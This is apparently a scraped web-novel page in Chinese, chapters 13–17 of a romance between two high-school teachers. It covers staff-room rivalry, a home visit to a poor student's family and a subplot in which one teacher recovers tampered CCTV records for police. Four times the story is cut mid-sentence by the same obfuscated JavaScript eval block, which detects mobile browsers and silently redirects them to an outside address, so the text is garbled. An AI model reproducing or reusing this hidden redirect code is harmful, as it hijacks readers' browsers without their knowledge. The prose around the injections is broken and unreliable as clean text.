“这种事情他会迁怒到商老师身上？”霍空青下意识皱眉，自己惹的事他找年级主任告自己的状不就好了，怎么还牵扯到商陆了呢。 “你猜我们为什么会选择尽量顺着他？”陈老师平静反问，这都是常年相处下来的经验。 霍空青眼里闪过一抹厌恶，在她看来为人师表就算做不到和商陆一样尽心尽力，但最基础的品行应该有所保障，怎么还混进这种人了呢？ 因为自己和他不对付他就迁怒商陆，那要是和商陆不对付，难道还要迁怒到四班的学生上？ 13. 第十三章 在陈老师的提醒下知道这个资历高的吕老师不是什么好人后，霍空青就开始行动。 她不是那种等着别人给自己泼脏水的人，纵使后续可以洗干净，但改变不了被泼脏水时的膈应，先发制人才是最好的。 霍空青起身离开办公室，掏出手机给汪主任打了一个电话，“汪主任，很抱歉这个时间打扰你。” “也没什么大事，就是想要请教一下我能不能在完成授课后在高一老师办公室待着，我应该不会给其他老师的教学工作造成不好的影响吧？” “莫老师很照顾我，我只需要负责五个班级的教学工作，莫老师需要负责足足九个。” “可能是因为我在国外待了几年，不是很懂国内的人情世故，要是有什么地方做错了的话，还希望汪主任多多包含。” 和聪明人说话就是方便，不到三分钟的沟通交流，霍空青就得到了汪主任满意的答复。 此时的汪主任还在学校待着，意识到是高一办公室的某个老师和霍空青闹矛盾后，她当即起身，没一会就出现在高一年级主任的办公室内。 原则上教务处和政教处的职能不重合，前者负责教学工作后者负责德育工作，年级组应当归政教处管理。 只是一中就那么大点地方，汪主任又是注定的下届学校领导，年级主任对未来领导自然客气。 “一中向来倡导教职工都是一家人，有老师愿意利用空闲时间帮助同事，这是一件好事，我们不仅不能反对，还要鼓励这种行为。” 汪主任笑呵呵的开口，姿态随和，“我觉得新来的小霍老师在这一点上就做得很好，上次我还碰见她帮两位年轻老师搬运教师礼物呢。” 年级主任眼皮一跳，立刻想到后勤部那位金副主任挨批差点被撤掉副主任的事，“汪主任说得对，不同科任老师之间确实需要紧密沟通，这样才能更好了解学生情况。” “尤其是班主任老师，他们有必要和其他老师保持沟通交流。”年级主任补上。 她虽然没有和高一老师一个班主任，不过查午休、晚自习和就寝的时候，也遇见过那位小霍老师和商陆一起，甚至看到过对方代为坐班看学生。 在不影响学生学分纪律的情况下，年级主任自然不会在意这种小问题，也没想到汪主任会因为这种事特意找自己一趟。 汪主任点头，同时送上一个好消息：“你们的付出学校都看在眼里，我会和校长提议增加班主任奖金，也算是小小的激励” 有编制的老师工资组成有好几部分，财政工资都是固定的由财政拨款，不过绩效和奖金在江定县基本都是学校说了算，后者更是学校拨款决定。 年级主任压下暗喜，班主任奖金增加，她的奖金自然也不会少。 “汪主任放心，我会起到带头作用，管理好班主任队伍。”年级主任保证道。 送汪主任离开后，年级主任才坐下不到三分钟，办公室的门又被敲响。 年级主任以为是汪主任折返，立刻起身开门，随后就看到吕老师站在门口。 “吕老师怎么来了，有什么事找我？”年级主任问道，侧身让出位置，她和吕老师是同一年被分到一中的，关系还算可以。 “余主任，我想向你反映一个情况。”吕老师自来熟的在椅子上坐下，开始大倒苦水，“我觉得现在的年轻老师太不稳重了，根本就没把学生放在第一位，而是搞起了小团体。” “小团体？”年级主任皱眉，立刻反问：“是有新来的老师被排挤了？” “我不是这个意思。”吕老师摆手，“你也知道，那个新来的小霍老是往我们办公室跑，最开始还好，就是晚自习来一趟，现在是越来越过分了，早中晚都能看到她在，不知道的还以为她办公室就在我们那里。” “这样串办公室也就算了，主要她还给那个商陆代班，一个信息老师能教学生什么？怎么能代替班主任值班看晚自习呢？” 听到吕老师的话后，年级主任眼中出现一抹了然，怪不得汪主任会特意找自己来提这个，原来是在这里等着自己呢。 “我会向莫老师了解一下新老师的授课情况，学校没有规定科任老师之间不能相互交流。”年级主任说着顿了一下。 “至于你反应的小霍老师代为坐班，我路过的时候看到过，不少学生都在向她请教问题，班级纪律也不错，我没觉得有什么问题。” 吕老师在心中拉响警报，这话怎么听着并不偏向自己呢？ “余主任，你不会倡导这种行为吧？老师应该各司其职，教什么科目就对学生什么科目负责，这样才能长久发展。”吕老师继续说道。 余主任可是抓纪律的一把好手，平时最看重规矩，自己之前打小报告是一告一个准，怎么今天这办法不好使了？ “那岂不是固步自封？学科之间本就有联系，学习方法更是通用，都只看着自己的一亩三分地，可不是一件好事。” 余主任板着脸，“吕老师，你也是班主任，应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16236652|181487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该清楚班主任比普通科任老师要累很多，有老师愿意为班主任老师分忧，这难道不是一件好事吗？” “一中向来是倡导大家庭的，都是一中人，互帮互助才是对的，可不能互绑互阻啊。” 最后一句话余主任说得意味深长，在大部分时候她愿意听吕老师的建议，是因为那些老师某些行为确实不合规矩。 可这不代表余主任没有脑子，不然她和吕老师同年进入一中，为什么她是主任，而吕老师就只是一个资历深的老师呢？ - 吕老师在第三节晚自习快要结束的时候才一言不发的回到办公室，不少老师都在偷偷观察他的脸色，随后依靠经验得出一个结论。 吕老师吃瘪了，极有可能因为告状失败吃瘪，这种情况很少见呢。 办公室的门在三分钟后再次被推开，一无所知的商陆抱着教辅书走了进来。 像是有心灵感应一般，前一秒还在对着电脑猛敲键盘的霍空青看向门口，对着来人绽放出灿烂的笑容。 “忙完了，今晚要查寝吗？”霍空青起身接过商陆手里的书，拉开椅子方便她坐下。 “今天不用，我收拾一下就能下班了。”商陆话还没说完就忍不住倒吸一口气，扭头看向正在为自己按摩肩颈的霍空青。 “放松一下，预防颈椎病。”霍空青笑着说道，对按摩的力道和技巧掌握极好，不过几秒钟的时间商陆就放松下来。 没办法，实在太过酸爽到位，让人拒绝不了。 暗搓搓观察两人的吕老师极为明显的啧了一声，“现在的年轻老师十个有九个吃不了苦，要我说这种人最好别来当老师，免得误人子弟。” 商陆觉得自己好像被影射了，可她和吕老师应该没什么矛盾才对，难道他连霍空青帮自己按个肩膀都看不过去？ 商陆心里琢磨了不少，不过她也不是第一年上班的小年轻，只要没有被点名道姓，一贯当作没有听到。 “要不要来颗糖？”完全没有被影响心情的商陆问道。 “我不要薄荷味的。”霍空青强调。 商陆拉开抽屉，取出一颗菠萝味的水果糖剥开，朝着上方递了过去。 霍空青低头咬住，让硬糖在舌头上滚了一圈，露出满意的表情，“下次要草莓味的。” “好，周末我买包多口味的。”商陆一口应下。 完全被忽略的吕老师更生气了，但并没有人搭理他，最后只能黑着脸拿起手机，重重摔门离开。 14. 第十四章 霍空青和吕老师有摩擦这件事商陆在第二天才知道，还是袁艺偷偷告诉她的。 商陆自然不会觉得霍空青有错，聊着聊着还忍不住和袁艺一起吐槽了吕老师一顿。 【袁艺：商陆，说实话，你们两个是不是有情况了？】 【商陆：嗯？你说什么？】 【袁艺：我们都几年的革命友谊了，没必要瞒着我。其他人看不出来，我难道还不知道你吗？要是没那个意思，你肯定不会这样对霍老师的。】 【商陆：……】 【商陆：我不知道我们算不算有情况了。】 三分钟后，商陆和袁艺出现在操场上，默默监督学生在第二节的大课间跑操。 “我们大学谈过。”商陆开口就是大爆料。 袁艺虽然猜到了，但听到后还是忍不住咳嗽了一声，捂嘴平复情绪，“然后你们分手了？” “她出国了，后续我们五年没有联系。”商陆语气平静。 最开始商陆看到霍空青是惊讶和无措甚至有些惊喜的，但现在都快要过去一个月了，她已经能冷静讨论。五年的时间能抹平的事太多，一场近乎三年的恋爱带来的影响也被时间冲淡。 “所以，霍老师在追求你？”袁艺没有把手放下，声音也压低了一些。 “或许吧……”商陆轻叹一声，“但我不知道我们在一起以后有没有未来，我不知道我们能有什么样的未来。” 商陆的顾虑很多，当局者迷旁观者清，袁艺倒是一眼就看出问题。 “所以你纠结的不是还喜不喜欢霍老师，而是不确定在一起后能和她走多久？”袁艺一针见血。 商陆缓缓点头，“是，她可以因为家里出事离开我五年，会不会因为另外的理由又一次离开我呢？” “没有意外的话，我的人生一眼可以望到头，我会一直是一中的老师，直到我退休。” “可霍空青不是，我知道她的性格，她可以是高中信息老师，但却不会一直是高中老师，她的选择比我多很多。” 袁艺有耐心的听着，随后在跑操尾声时开口，“我觉得只是恋爱的话没必要考虑那么久远，要是定好未来才恋爱的话，那么这世界上的情侣数量一定会和结婚数一样骤减。” “我瞧霍老师追人的态度还是很诚恳的，比起那些见个面吃顿饭就觉得你对他有意思的男人来说，霍老师至少有分寸，她会用自己的行动证明，而不是用一张能画饼的嘴。” “你觉得我们应该复合？”商陆心中摇摆不定。 袁艺拍了拍好友的肩膀，“我当初看上人想要恋爱的时候，你是怎么和我说的？” 商陆回忆了一番，轻声说道，“只是恋爱的话，试试就试试，要是发现不合适分手就行，反正也不能结婚领证，不管走到哪一步都有反悔的机会。” “一样的话送给你。”袁艺说道，“不过这个只是我的建议，你要确定自己还喜欢对方才行，这一点只有你自己清楚。” - 霍空青还没有悠闲到在大课间还能见缝插针和商陆见个面，信息课大多安排在上午三四五节课和下午最后两节。更别说今天是周五，是霍空青要上课的一天，她正兢兢业业在办公室备课。 直到下午四点左右，霍空青才顺利来到熟悉的位置，拉着椅子坐在商陆身边等她下班。 此时的商陆正在整理贫困生申请表，申请的一共有四个人，其中三个都能查到对应的低保户凭证，只有一个需要作为班主任的商陆致电相关人员查证。 不需要问，霍空青就知道需要致电确认的贫困生就是商陆原定想要家访的学生。 表格上的家庭住址很偏僻，显示在导航上的就只有一个村子的名字，而且最后近乎三公里就只有一条没有任何岔路口的山路。 “商老师，你去过这里吗？”霍空青凑过来问道。 商陆摇头，“导航看开车过去要多久？” “排除堵车的话，从家里出发五十分钟左右。”霍空青划拉手指查看路线，“周围不像是有店铺的，要不要晚上提前买点东西？” 商陆轻轻嗯了一声，盯着霍空青白皙的手指有些恍惚，过了十秒才默默收回自己的视线。 - 老师家访可不能空手上门，霍空青和商陆在前一天晚上去超市采购一番，最后购入牛奶一箱月饼一盒。 倒不是商陆不愿意花钱，而是担心东西太多会被拒绝，两样加起来价值在一百左右的东西通常不会被认为是重礼，也方便她找借口。 五十分钟的车程，前面半小时还算正常，两边还能看到居民楼和小卖部，偶尔还有车辆交汇。 直到车子驶入一条狭窄的山路，两边都是郁郁葱葱的山脉，一眼望不到头。 听着舒缓的音乐呼吸着着清新的空气，抬头还能看到车窗外的绿水青山，一切看似非常安逸。 如果最后映入眼帘的不是略显老旧的村子和带着审视眼神的村民就更好了。 得知两位是县一中的老师后，原本警惕的村民立刻露出灿烂的笑容，迫不及待的在前面带路。 老师的身份在普通人眼里是大大的加分项，即便来的是两个年轻貌美的女老师，也足够大部分村民对她们表示出足够的尊重。 “小敏家里的情况确实困难，但并不是低保户，因为她家里有车。他爸爸名下有一辆大货车呢，估算起来价值几十万。”带路的村民很是热心的说明情况。 “大货车司机的收入应该还算不错，小敏家里是有别的情况？”商陆不解发问。 “收入是可以，但小敏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16248220|181487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他爸挣多少就在外面花多少，也不往家里拿钱。”说着村民压低声音，“老师，这话我也就和你们说，你们别外传哦。听说是小敏爸在外面养了人，那个人还替他生儿子了呢。” 商陆眼皮一跳，提着月饼的手收紧许多，“小敏和她妈妈一起生活？” “差不多吧，她妈妈就在家里种地，赶集的时候用种出来的东西换点钱，也挺不容易的。”村民恢复正常音量，小敏的家也到了。 就在村子的最里面，一间二楼小平房，空地上堆了很多柴火和杂物，用一块略显老旧的防水布盖在上面。 “小敏妈，你女儿的老师来家访了。”村民吆喝了一声，不一会就看到一个矮小的妇人推开门出来。 “两位是小敏的老师？”小敏妈很是拘谨的开口。 “对，我是小敏的班主任，这位是小敏的信息老师。”商陆露出笑容，主动朝着小敏妈伸出了手。 小敏妈愣了一下，手在衣服上擦了一次又一次，才飞快握了一下商陆的手。 “你好，这是我们替小敏带回来的东西。”霍空青接话，按照商陆找好的理由说，“这是小敏参加学校活动的奖品，她说在宿舍用不到，就让我们带回来了。” “真是太麻烦两位老师，我……”小敏妈略显无措，只能愣愣接过两人手里的东西，随后又去拿了两瓶矿泉水出来。 小敏妈对女儿的老师毫无防备，两人问什么她就说什么，不一会霍空青和商陆就摸清楚了对方家里的情况。 父亲常年在外‘打拼’，一年有时候才回来一两次，还是因为需要□□回来。 孩子的学费是小敏妈打零工和卖菜赚到的，除此以外家里的收入就是外包出去的田租，每年能有差不多两千块收入。 商陆没有提太多和贫困生有关的事情，而是在小敏妈自豪的眼神下，翻看了小敏从小到大拿到的奖励和荣誉。 婉拒吃午饭的建议后，商陆和霍空青被塞了一大袋玉米和花生，才略显狼狈的离开了小敏家。 “学生家长太热情了，我怀疑我们要是留下吃饭的话，捎回去的东西绝对要再多两袋。”霍空青说道，“这些东西不方便直接给学生，需要置换成学习用品吗？” “换成一些饼干和牛奶吧。”商陆说道，不知道回忆起什么，嘴角带着一抹笑意。 霍空青问道：“以她妈妈的名义？” “不，以谢礼的名义。”商陆说道，“小敏应该是在偷偷省钱，她妈妈不一定知道她在学校的生活，以妈妈的名义可能会被她看出来。” “不愧是商老师，考虑周到。”霍空青顺口夸奖。 商陆只是笑笑，她不是考虑周到，只是有经验而已。 自己的老师在偷偷关心自己的时候，也一眼用了温柔的办法呢。 15. 第十五章 霍空青明显感觉到，商陆对自己的态度随意亲近了许多。 怎么感觉到的？当然是从吃饭的时候商陆主动给自己夹菜感觉到的！在此之前都是她一个人献殷勤！ 这样的发现让霍空青心情颇好，得知校长想请自己吃饭后也欣然应下，忍痛放弃和商陆共进午餐的机会。 霍空青开车参加饭局的时候就做好爆金币的准备，但没想到校长邀请自己是纯粹的组局，将自己介绍给一中一些知名校友认识。 意识到校长是在向自己示好后，霍空青也很配合，依次和三位知名校友聊了聊，并且掏出自己许久没派上用场的名片。 “霍总有没有打算在江定县建立生产线？我们这边的政策扶持力度还是很不错的。”在县委任职的秦校友举杯问道。 霍空青举起手里的果汁和对方碰杯，“江定县没有港口，大型生产线不会考虑建立在这里，不过小规模加工厂可以考虑。” “是中药材加工厂？”秦校友追问。 “如果能拿到长期土地使用权，江定县就是一个适合大批量种植药材的生产基地。”霍空青笑笑，“顺利的话还可以从培育生产到炮制加工一条龙，能提供不少就业岗位。” “当然，副产品也可以跟着开发，要是能结合当地特色推出地标产品的话，也是另一种双赢。”霍空青补充道。 秦校友来之前就做过功课，稍加思索就给出答案，“如果是在山林中种植，一万亩长期使用权不是问题。” 霍空青没有立刻表态，一万亩山林算得上是大手笔，一旦落成振兴乡村不必多说，带来的就业岗位更也是五位数。 “地方很大，不过具体能种植什么药材，我需要团队进一步考察。”霍空青说道，“您也知道，我的项目初期投入会非常大，山林地形很难机械化运作，需要大量人工，成本非常高。” “如果是比较偏僻的地方，说不定还需要修建道路加大电网供应等。” 秦校友点头，“确实，基础设施建设这方面霍总不需要担心，我们肯定会解决。租金方面我们愿意直接给出五十年的使用权，价格方面保证不会让霍总失望。” 霍空青放下杯子，“如果您不是开玩笑的话，我的团队可要从京市过来考察了。” “非常欢迎，我们会展示最大的诚意。”秦校友保证。 有谈成大合作的意向后，餐厅上的氛围变得更加融洽，要不是霍空青是自己开车来的，高低要喝上两杯意思意思。 “十月底是一中九十五年校庆，霍总要不要上台亮个相，让大家知道新操场和新设备都是霍总出钱捐赠的？”校长在临走时问道。 有些事情校长没提不代表她不知道，对于学校的财神爷，校长可是一直保持关注的。 霍空青：“如果可以的话，我希望在百年校庆的时候，有荣幸被校长介绍给学生。” 这不就代表这五年里还会继续捐赠学校物资吗？校长脸上的笑容更大，“当然可以，我一定不会忘记邀请霍总。” - 霍空青回到学校时已经是下午两点，今天下午商陆没课，霍空青和莫老师打了一声招呼后，就拎着一篮水果敲响了高一办公室的门。 推开门发现那位吕老师不在后，霍空青脸上的笑容真切了两分，“给大家带了一点水果，需要可以自取。” 说完就把果篮放在袁艺的办公桌上，只拿走了最上面的一颗大火龙果，对着袁艺眨了眨眼。 袁艺立刻get到霍空青的意思，招呼着老师来自己这里拿果盘，顺带笑纳最里面的榴莲。 “一人一半？”霍空青坐在自己专属的位置上，双手捧着火龙果递到商陆的面前。 “怎么想到买果篮带回来？”商陆拿出小刀擦了擦，精准将火龙果一分为二。 “吃饭的餐厅送的，说我是幸运客户。”霍空青接过一半，但并没有拿起勺子，而是眼巴巴等着商陆投喂。 商陆默默拿起勺子挖出一块果肉，余光确定没有老师注意自己后，才投喂给了霍空青。 现在还是上班时间，就算自己不排斥和霍空青更进一步，也不能太没有分寸了一些。 火龙果很甜，霍空青很开心，要不是场合不对她都打算偷偷亲商陆一口，让她身上多出属于自己的痕迹。 很快一个火龙果就被你一口我一口分食完毕，霍空青抢先一步将湿巾抽出，随后捏着商陆的手腕慢慢的帮她擦拭手上沾染的红色果汁。 霍空青的动作没什么问题，和平时商陆擦手的习惯一样细致到位。 商陆原本也没觉得有什么，但在无意中对上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16248221|181487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 袁艺别有深意的视线后，也忍不住跟着想歪。 “下周就是国庆了，商老师有什么安排吗？”霍空青没发现不对，只是将湿巾丢到垃圾桶内。 “暂时没有，如果有好看的电影会考虑出门看看。”商陆如实说道。 霍空青握着商陆的指尖，有一下没一下的用指腹摩挲。学姐的手比起之间多出一些薄茧了呢，也不知道会不会有什么新的感受。 “要不要出去旅个游？国庆加中秋有八天假期，能去不少地方呢，就算出国也来得及。”霍空青问道。 商陆犹豫一下后摇头，“这个点人太多了，我不喜欢旺季的时候去旅游。真要去的话，就在周边逛逛吧，有不少风景区呢。” 计划一失败后，霍空青并不气馁，“好啊，那要不要试试去露营？隔壁市就有一个不错的露营基地，听说还是滑翔伞基地，如果合适的话，还能体验有空中飞人的体验呢。” 听到只是隔壁市后，商陆有些心动，人多虽然避免不了，可自己露营的话总能找到一个安静的角落吧？ “露营基地附近也有酒店，如果阿姨不适应睡帐篷的话，可以安排阿姨住酒店。”霍空青加重砝码，“到时候我们自己做饭，也让阿姨尝尝看我的烧烤手艺。” 商陆本就没打算拒绝，听到还能捎带自家妈妈后，心中最后一丝顾虑也没了，一口应了下来。 - “国庆去露营吗？”商妈妈问道，“你和小霍商量好了？” 商陆点头：“嗯，我们准备二号出发，看情况四号或五号回来，自驾的话很方便，一天一个景点慢慢逛就行。” “挺好的，你们想去就去，我就不去了。”商妈妈说道，“我准备去你孔姨的店里帮忙。” “嗯？”商陆不解，“孔姨的店里缺人吗？” 商妈妈摇头，“不缺人，不过我打算带点卤味去她店里卖卖看，要是效益好的话，我们后续可能会有合作。” 得知自家妈妈准备搞事业后，商陆恨不得举双手双脚赞同，“需要我留下来帮忙吗？” 商妈妈摇头：“没必要，你们出去玩就行，这样我还能多点时间做自己的事。” 商陆：“真的不需要？” 商妈妈毫不犹豫的摆手：“玩得开心点，六号回来也没事。” 16. 第十六章 二人世界当然比三人出行要愉快许多，霍空青早早就采购好露营需要的东西放在后备厢，琢磨起如何度过四天三夜。 而作为班主任的商陆在放假前则是忙到起飞，只能抽空瞅一眼安排然后嗯嗯表达同意。 国庆加中秋八天小长假，学生安全问题要反复叮嘱，个别留校住在宿舍的也需要额外登记。 此外作为班主任需要注意的就是是如何让学生在小长假期间也保持好学习状态，不要一放假回来人就变得懒懒散散。 不过这个学校已经有非常丰富的应对策略，那就是宣布国庆回来后开始第一次月考，成绩会以短信的方式发送到家长的手机上。 消息一宣布，每个学科的老师都以好好复习的名义发下了两到三张卷子，让学生的假期变得格外充盈。 留下小长假需要学生完成的两张卷子后，商陆就开始给留校学生的家长打个电话确定学生留校家长是否知晓情况。 “八天小长假都不回家吗？难道有住特别远的？”早早就忙完的霍空青定时刷新在商陆工位边上，看着留校登记表。 四班学生只有三个留校，两个男生一个女生。 “这两个男生，父母在外打工，回家也是孤零零一个人，估计是商量好一起住宿舍。”商陆说道，“他们的父母好像也认识。” 霍空青看向表格上最后一个名字：“小敏呢？她妈妈不是在家吗？难道是担心回去的路费太贵了？” “她找了一个兼职，放假期间在小吃街打工。”商陆压低声音，“主要工作时间是下午和晚上，住在学校宿舍是最合适的。” 得知是在勤工俭学后，霍空青也就打住话题，把脑袋枕在手臂上，就这样趴在办公桌上看着商陆奋笔疾书赶报告。 看着看着，霍空青就开始有点犯困，眼皮开始变得沉重起来。但在她彻底睡着前，下课铃声先一步响起，让霍空青勉强驱散睡意。 “困了就坐在里面睡一会，还要一个小时才下班。”商陆说道，把U型枕递给霍空青。 霍空青嗯了一声，把枕头往脖子上一套，准备闭目养神。 只可惜上天并不想让霍空青在白天睡觉，还没眯着手机铃声就又响了起来。 “喂，是我。”霍空青靠在椅背上接听电话，“监控设备吗？如果是程序报错的话我应该能解决。不忙，我现在就过来，稍等我一会。” “有一部分监控不知道为什么调不出来，我去保卫处看看。”霍空青起身说道，把带上没一会的枕头取了下来，“应该是个小问题，我忙完来办公室找你。” - 来到保卫处，霍空青才知道事情并不是监控设备不好使的问题，而是监控记录无缘无故没了两天。 在保卫处的不仅有保安和年级主任，还有面容严肃的两位警察。 “霍老师，学校的监控一向都是备份三十天的，可不知道为什么我们调不出上周末的监控，一点开就报错。”保安语气急促，慌张到额头都出现明显的汗水。 “稍等，我来看一下。”霍空青没多问，而是直接干起了正事。 一中看似角角落落都有监控，不过大部分都是摆设，教室内的监控基本不会开，走廊的监控也只有一半在正常使用使用。 拿着键盘敲敲打打五分钟后，霍空青就将被损毁的记录恢复大半，同时也找出原因来。 “不是系统的问题，是有人远程入侵监控系统。”霍空青说道，“记录显示操作时间是前天晚上，也就是周日学生上晚自习的时候，那个时候监控室内有人值班吗？” 保安努力回忆，“那天也是我值班，不过校门口有辆车违停，我和对方交涉耽误了一点时间。” “交涉了多久？”一旁的警察追问。 保安擦了擦额头的汗水，“他说自己是外地人，和我打听了一下本地的景点，大概两根烟的时间，不会超过十五分钟。” “麻烦老师你调取一下周六凌晨的监控，时间在两点半到三点。”看起来相对有经验的警察说道。 霍空青利落点开对应的视频备份，直接把进度条拖到两点半，“需要倍速吗？” 警察：“麻烦八倍速。” 霍空青调整好速度，随后起身站到一边，把位置让给两位警察。 监控只有只有无声的黑白画面，在两个警察全神贯注的注视下，一个有明显啤酒肚的男人摇摇晃晃出现在画面中。 “顾队，就是他，衣着和体型都对的上。”年轻警察有些激动，随后他的肩膀就被拍了拍。 意识到有些失态的年轻警察立刻坐下继续看，直到对方的身影彻底在监控中消失。 “现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16261143|181487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在调取周日晚上的监控吗？”霍空青看向年长警察也就是那位顾队长。 “麻烦了，我们还需拷贝近三十天学校门口的监控。”顾队长说道，稳重的声线和犀利的眼神让她看起来极为可靠，“能先借我们一个大小合适的硬盘吗？” “我办公室有，两位警察同志稍等我一会，我去拿。”霍空青十分配合。 没一会就把内存足足有2TB的硬盘带过来，将学校门口能恢复的备份全部按照顺序塞了进去。 “警察同志，方便问一下是发生了什么事吗？”霍空青将硬盘递给年长警察。 拿人手短，年长警察犹豫一秒后将能透露的情况说了出来，“周六凌晨发生一件恶性事件，我们在追踪嫌疑人的下落，目前拍到嫌疑人的监控很少，因此这些视频对我们很重要。” “周日出现的那辆车我们会派人查，如果他再次出现的话，请务必第一时间通知我们。” 年级主任立刻表态，“我们一定配合，一旦发现线索就立刻联系你们。” 简单交流确认后，两个警察带着硬盘离开，年级主任也缓缓吐出一口气，“霍老师，这件事暂时别外传，免得引起不好的影响。” 霍空青表示理解，“余主任，国庆会有学生留校，需要加强他们的安全管理吗？” 年级主任面色沉重的点头，“我会安排好的。” 霍空青没有追问余主任有什么安排，但在十分钟后，她就从商陆的嘴里得到了答案。 “临时下发通知，国庆值班老师增加一名，我明天和另外两个老师值班，晚上十点需要按照名单确认学生是否在寝室。”商陆面色有些凝重，“是发生什么事了吗？” 霍空青没有隐瞒，“有个女生在下夜班的时候被尾随，被发现的时候身体多处骨折，嫌疑人还没抓到。” “在学校周围？”商陆蹙眉。 霍空青摇头，“案发地点在三公里外，但学校监控有拍到嫌疑人，另外还有人入侵系统特意删了那两天的监控，不排除有团伙作案的可能。” “不过没必要担心太多，警方现在已经加大巡查力度，而且派出所距离学校就一公里，就算是悍匪也不敢乱来。” 霍空青牵住商陆的手，宽慰道：“现在的科技发达，指不定明天我们来的时候，人就已经抓到了呢。” 17. 第十七章 放假的第一天校园里空荡荡的，高一教师办公室内只有霍空青和商陆在，也算是变相的二人世界。 商陆在写发给学生的卷子，霍空青则是在电脑面前敲敲打打，偶尔还要接个电话，嘴里飙出一串专业英文，语速快到商陆只能听清楚其中的基础词汇。 两人的午饭在校门口的面馆解决，因着是国庆第一天，面馆里依旧非常热闹，其中年轻面孔非常多，他们的位置上大多还放着一杯奶茶。 “要不要来一杯国庆的第一杯奶茶？”霍空青晃了晃手机，“app给我发了券，两杯只需要十二块钱，差不多半价。” 商陆对喝奶茶没什么想法，可听到半价时还是免不了心动，有种不把优惠用掉就吃亏了的想法。 “纯奶基底，不要太甜。”商陆说道，“和以前一样少冰就行。” 霍空青比了一个ok的手势，直接将收货地点定在店铺内，不到一分钟就完成选购下单。 这个时间点奶茶的人似乎有些多，等到两人把面吃完准备结账走人的时候，骑手才把国庆的第一杯奶茶送到门口。 不过也行，带回到办公室一样可以喝，问题不大。 霍空青接过骑手递过来的奶茶，准备牵手时余光扫过对面的街道，随即脚步一顿。 “怎么了？”商陆察觉到不对。 霍空青握住商陆的手，将人往里带了带，压低声音，“对面的人有些眼熟，像是之前监控里面出现过的。” 商陆心跳加快，“是那个嫌疑人？” 霍空青说道：“嗯，别转头去看他，我有顾警官的联系方式，我给她打个电话。” 商陆嗯了一声，主动接过霍空青手里的奶茶，让她能腾出手来。 - 霍空青并不清楚顾队长是怎么抓捕嫌疑人的，不过在两个小时后，她就回了电话过来。 “你们还在学校里吗？”顾队长直奔主题，“我们抓到人了，还从他嘴里问出了一些东西，在学校附近他还有至少两个同伙，目标是年轻女性和女学生，如果可以的话，霍老师尽量不要单独外出。” “对方手里有热武器？”霍空青下意识。 顾队长似乎愣了一下，回答的也略显迟疑，“应该没有，他们应该是小团伙的人贩子，暂时还没有搞到热武器的本事。” “管制刀具？”霍空青当即改口。自己现在是在国内，可不是路上谁都能掏出一把枪的国外。 “大概率有。”顾队长提醒道：“经过侦察，周日吸引保安注意力的那辆是□□，如果看到同款的面包车尽量远离。” 霍空青嗯了一声，“需要我帮忙追查一下信号来源吗？我今天带了一点自己的设备，可以追踪到相对精准的IP。” 这次顾队长迟疑的时间更久了，偶尔还有细碎的讨论声传来，“多久能有结果？” “如果对方不是特别厉害的高手，一个小时就够了。”霍空青说道，给自己额外留出四十分钟的容错空间。 “如果我们能提供对方的手机，你能帮忙得到更多的消息吗？”顾队长反客为主，“我可以聘请你为我们支队的临时顾问，事后会支付报酬。” 霍空青的余光扫过面色凝重的商陆，“如果顾队长不介意跑一趟一中办公室的话，我很乐意无偿提供帮助。” 顾队长没有拒绝，步行十分钟就能到的地方，开车更是只需要不到三分钟。 没一会顾队长就敲响了办公室的门，证物袋一起被递过来的还有昨天霍空青借给她的硬盘。 “麻烦霍老师了，我们想要拿到尽可能多的有用信息。”顾队长请求，同时做出保证，“这是警方在请求协助，请不要有太多顾虑。” 霍空青读懂了顾队长的潜台词，也没有藏着掖着，很快就上手操作了起来。 顾队长不是技术出身，她看不懂霍空青在劈里啪啦的在写什么代码，她只知道自己才还给对方的硬盘，很快又被塞满东西回到了她的手里。 “这硬盘就当是我个人赠送给顾队长，手机里聊天记录、通话定位、被删除照片的信息我都恢复了。” 